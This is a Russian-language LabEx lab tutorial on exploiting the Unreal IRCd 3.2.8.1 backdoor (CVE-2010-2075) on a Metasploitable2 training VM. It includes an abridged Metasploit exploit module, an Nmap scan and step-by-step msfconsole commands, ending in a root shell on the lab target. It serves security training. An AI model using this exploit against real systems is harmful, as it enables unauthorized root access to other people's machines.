Введение
В этом лабораторном занятии мы научимся эксплуатировать уязвимость в службе Unreal IRCd на целевой машине Metasploitable2, размещенной на платформе LabEx. Сначала мы изучим уязвимость в службе Unreal IRCd, а затем выполним сканирование на наличие уязвимостей с помощью Nmap. После определения уязвимой службы мы воспользуемся фреймворком Metasploit для эксплойта уязвимости и получения удаленного доступа (шелла) на целевой машине. Наконец, мы проверим успешность эксплойта, выполнив команды на скомпрометированной системе.
Понять уязвимость Unreal IRCd и запустить экспериментальную среду
Версия Unreal IRCd 3.2.8.1 содержит уязвимость в виде бэкдора (CVE-2010-2075), которая позволяет удаленным злоумышленникам выполнять произвольный код на зараженной системе. Уязвимость находится в макросе DEBUG3_DOLOG_SYSTEM, который включает в себя внешний вредоносный код, который может быть использован злоумышленником.
Рекомендуемая информация:
Модуль Metasploit для эксплойта этой уязвимости:
Вот краткое описание модуля Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
#... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Теперь вы должны запустить машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для эксперимента.
- Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2
Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.
- Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить пингование.
- Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host b5b709a49cd5 bash
- Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить пингование.
Теперь и машина-атакующая, и целевая машина запущены, и вы можете приступить к пентестингу.
Примечание: Если вы случайно выйдете из текущей оболочки bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.
Выполнить сканирование на уязвимости
На этом этапе мы выполним сканирование целевой машины на наличие уязвимостей, чтобы определить открытые порты и службы, работающие на этих портах. Для этого мы воспользуемся мощным инструментом Nmap (Network Mapper).
- Запустите консоль Metasploit в контейнере Kali Linux:
cd ~
msfconsole
- Внутри консоли Metasploit используйте команду
nmapдля сканирования целевой машины:
nmap -sV -T4 192.168.122.102
Опция -sV включает определение версии для открытых портов, а -T4 устанавливает агрессивный уровень политики времени (от 1 до 5, чем выше, тем быстрее).
В выводе должно быть указано, что порт 6667 открыт и на нем работает служба unreal ircd.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку
Использовать уязвимость Unreal IRCd
Теперь, когда мы определили уязвимую службу Unreal IRCd, работающую на порту 6667, мы можем приступить к ее эксплоитации с использованием фреймворка Metasploit.
- Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить ее:
cd ~
msfconsole
- В консоли Metasploit выполните поиск модуля
unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
- Загрузите модуль:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Установите целевой хост:
set RHOST 192.168.122.102
- Запустите эксплойт:
exploit
Если эксплойт прошел успешно, вы должны получить удаленный доступ (шелл) на целевой машине.
Нажмите Ctrl + D, чтобы выйти из консоли Metasploit, а затем начните проверку
Проверить успешность эксплойта
Для проверки успешности эксплойта мы можем выполнить команды в удаленном шелле, полученном на предыдущем этапе.
- Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить ее:
cd ~
msfconsole
- Проверьте текущего пользователя с помощью команды
whoami:
whoami
- Проверьте имя хоста с помощью команды
hostname:
hostname
- Проверьте IP - адрес с помощью команды
ifconfig:
ifconfig
Если в выводе текущий пользователь указан как root, имя хоста - metasploitable, и IP - адрес совпадает с адресом целевой машины (192.168.122.102), это подтверждает, что эксплойт прошел успешно, и вы получили полный контроль над целевой системой.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку
Резюме
В этом практическом занятии мы изучили уязвимость Unreal IRCd и научились эксплуатировать ее с использованием фреймворка Metasploit. Сначала мы поняли суть уязвимости и ее последствия, затем провели сканирование на уязвимости, чтобы определить уязвимую службу. После того, как мы обнаружили службу Unreal IRCd, работающую на порту 6667, мы использовали соответствующий модуль Metasploit для эксплоитации уязвимости и получения удаленного доступа к целевой машине. Наконец, мы подтвердили успешность эксплойта, выполнив команды на скомпрометированной системе. Это практическое занятие дало возможность приобрести практический опыт в анализе уязвимостей, их эксплоитации и валидации после эксплоитации, что является важными навыками для этических хакеров и профессионалов в области кибербезопасности.



